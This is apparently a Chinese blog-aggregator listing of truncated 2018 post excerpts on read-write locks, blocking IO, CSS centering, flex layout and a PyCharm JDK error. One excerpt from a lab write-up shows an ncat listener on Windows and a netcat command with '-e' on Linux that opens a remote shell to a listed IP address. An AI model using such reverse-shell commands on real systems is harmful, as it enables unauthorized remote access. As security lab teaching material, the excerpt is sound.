基础与控制原语 读写锁 与互斥量类似,但读写锁允许更高的并行性。其特性为:写独占,读共享。 读写锁状态: 一把读写锁具备三种状态: 1. 读模式下加锁状态 (读锁) 2. 写模式下加锁状态 (写锁) 3. 不加锁状态 读写锁特性: 读写锁是"写模式加锁"时, 解锁前,所有对该锁加锁的线程都会被阻塞。... ...
分类:
编程语言 时间:
2018-04-05 20:05:25
阅读次数:
210
文字两端对齐: 注:必须是块级元素 <div>建议重新外链一个css文件</div> css: div{ width:500px; border:1px solid red; text-align: justify; } div:after { content: " "; display: inli ...
分类:
Web程序 时间:
2018-04-04 12:30:58
阅读次数:
196
一、实验操作步骤 1.Windows获得Linux Shell ipconfig查询Windows主机IP地址 在Windows中输入win+r→cmd→cd→ncat目录文件→ncat.exe -l -p 4310(监听端口) 在Linux输入 nc 192.168.1.185 4311 -e / ...
分类:
其他好文 时间:
2018-04-03 21:56:56
阅读次数:
171
一、阻塞IO(blocking IO) 默认情况下所有的socket都是blocking,一个典型的读操作流程: - blocking IO的特点:就是在IO执行的两个阶段(等待数据和拷贝数据两个阶段)都被block了。 ps:所谓阻塞型接口是指系统调用(一般是IO接口)不返回调用结果并让当前线程一 ...
分类:
其他好文 时间:
2018-03-31 21:28:06
阅读次数:
173
说明 .center表示要被居中的元素,.wrap 表示要居中的元素的父元素(包含.center元素的元素)。 为了便于理解和叙述同一: 对于文本内容居中的情况,.wrap就是指包含文字的元素(例如<i>文字</i> ,i标签就是.wrap )。 文本内容会在外部创建一个行框(line-box),可 ...
分类:
其他好文 时间:
2018-03-31 17:29:50
阅读次数:
174
flex布局 1、只能对直接子元素有影响 flex-direction:row | column 1、表示布局的方向,[row]在行方向上布局,[column]在列方向上布局。 justify-content:flex-start | flex-end | center | space-betwee ...
分类:
其他好文 时间:
2018-03-31 13:21:17
阅读次数:
104
之前我们是这样实现一个div盒子水平垂直居中的。在知道对象高宽的情况下,对居中元素绝对百分比定位,然后通过margin偏移的方式来实现。 假如使用了flex后,实现起来就简单了,而且不需要自己去算,也不需要绝对定位,只需要通过对伸缩容器定义两个属性,justify-content定义伸缩项目沿着主轴 ...
分类:
其他好文 时间:
2018-03-30 13:19:20
阅读次数:
184
justify-content:space-around 左右边上有边距 justify-content:space-between 左右边上没有边距 ...
分类:
其他好文 时间:
2018-03-28 20:26:26
阅读次数:
394
一.水平居中 1.文字水平居中 <div class="one"> 测试居中 </div> <style> .one{ width: 200px; height: 100px; border:1px solid red; text-align: center; } </style> 2.盒子居中 < ...
分类:
其他好文 时间:
2018-03-28 18:58:14
阅读次数:
193
已安装python 已安装jdk 在pycharm文件夹中bin中执行sh ./pycharm.sh 时出错:Unsupported major.minor version 52.0 这个错误的意思是JDK版本太低 但是我明明装了版本比较新的jdk,然后我估计是linux自带了jdk,执行命令jav ...
分类:
系统相关 时间:
2018-03-27 16:38:43
阅读次数:
297